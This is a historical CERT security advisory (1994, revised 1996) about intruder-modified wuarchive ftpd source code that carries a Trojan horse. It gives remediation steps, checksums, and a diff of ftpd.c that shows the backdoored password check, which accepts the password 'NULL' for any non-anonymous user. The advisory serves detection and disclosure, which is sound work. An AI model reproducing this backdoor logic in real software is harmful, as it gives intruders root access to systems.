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CERT(sm) Advisory CA-94:07 
Original issue date:  April 6, 1994
Last revised: August 30, 1996
              Information previously in the README was inserted
              into the advisory.

              A complete revision history is at the end of this file.
                    
Topic:  wuarchive ftpd Trojan Horse
- -----------------------------------------------------------------------------

The CERT Coordination Center has received confirmation that some copies
of the source code for the wuarchive FTP daemon (ftpd) were modified by 
an intruder, and contain a Trojan horse.

We strongly recommend that any site running the wuarchive ftpd take steps 
to immediately install version 2.3, or disable their FTP daemon.

- -----------------------------------------------------------------------------

I.   Description

     Some copies of the source code for versions 2.2 and 2.1f of the 
     wuarchive ftpd were modified by an intruder, and contain a Trojan
     horse.  If your FTP daemon was compiled from the intruder-modified 
     source code, you are vulnerable.

     It is possible that previous versions of the source code for the server 
     were modified in a similar manner.

     If you are running the wuarchive ftpd, but not providing anonymous FTP 
     access, you are still vulnerable to this Trojan horse.


II.  Impact

     An intruder can gain root access on a host running an FTP daemon 
     that contains this Trojan horse.


III. Solution

     We strongly recommend that any site running the wuarchive ftpd (version 
     2.2 or earlier) take steps to install the current version. 

     If you cannot install the new version in a timely manner, you should 
     disable FTP service.  It is not sufficient to disable anonymous FTP.  
     You must disable the FTP daemon. 

     Sites can obtain version 2.4 via anonymous FTP from 
        ftp://ftp.uu.net/networking/ftp/wuarchive-ftpd

     We recommend that you turn off your FTP server until you have installed
     the new version.   

     Be certain to verify the checksum information to confirm that you have
     retrieved a valid copy.

        CHECKSUMS
        System V sum
        ============
        51092    16  patch_2.3-2.4.Z
        20337   362  wu-ftpd-2.4.tar.Z

        Berkeley sum
        ============
        09291     8  patch_2.3-2.4.Z
        38213   181  wu-ftpd-2.4.tar.Z

        md5 checksum
        ============
        MD5 (patch_2.3-2.4.Z)   = 5558a04d9da7cdb1113b158aff89be8f
        MD5 (wu-ftpd-2.4.tar.Z) = cdcb237b71082fa23706429134d8c32e


- ---------------------------------------------------------------------------
The CERT Coordination Center wishes to thank Bryan O'Connor and Chris Myers 
of Washington University in St. Louis for their invaluable assistance in 
resolving this problem.  CERT also gratefully acknowledges the help of
Neil Woods and Karl Strickland.
- ---------------------------------------------------------------------------

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident
Response and Security Teams (FIRST).

If you wish to send sensitive incident or vulnerability information to 
CERT via electronic mail, CERT strongly advises that the e-mail be encrypted.
CERT can support a shared DES key, PGP (public key available via
anonymous FTP on info.cert.org), or PEM (contact CERT for details).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
           CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
           and are on call for emergencies during other hours.

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Past advisories, information about FIRST representatives, and other
information related to computer security are available via anonymous
FTP from info.cert.org.

Copyright 1994, 1995, 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided
it is used for noncommercial purposes and the copyright statement is
included.

CERT is a service mark of Carnegie Mellon University.

==========================================================================
UPDATES

Added April 7, 1994

The Trojan horse described in CA-94:07 provides a back-door password
for any username other than "anonymous." It would be trivial for an
intruder to modify the back-door password or other details of the
Trojan horse code.  The "diff" described in #1 below will help you
detect only the Trojan horse referenced in the advisory.  It will
not detect any other Trojan horses.


Clarifications:

1) If you have modified any version of the wuarchive ftpd and cannot
install the new version, 2.3, you may detect the existence of the
discovered Trojan horse with the following diff on ftpd.c:

1013,1015c1013,1014
<         if ((pw == NULL || *pw->pw_passwd == '\0' ||
<             strcmp(xpasswd, pw->pw_passwd)) &&
<             (strcmp(passwd, "NULL"))) {
- ---
>         if (pw == NULL || *pw->pw_passwd == '\0' ||
>             strcmp(xpasswd, pw->pw_passwd)) {


2) Since the versions containing the Trojan horse were found in a
number of locations, it is possible that your version of the wuarchive
ftpd software contains the Trojan horse regardless of the distribution
site from which you obtained the source code.

3) If you have any questions concerning the wuarchive ftpd software,
send mail to:

Bryan D. O'Connor
Office of the Network Coordinator
bryan@fegmania.wustl.edu
Washington University in Saint Louis
http://fegmania.wustl.edu/~bryan


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history

Aug. 30, 1996  Information previously in the README was inserted
               into the advisory.
Feb. 02, 1995  Sec. III - Inserted a pointer and checksums for wu-ftpd-2.4.
Apr. 07, 1994  Updates - Added clarifications and additional assistance.


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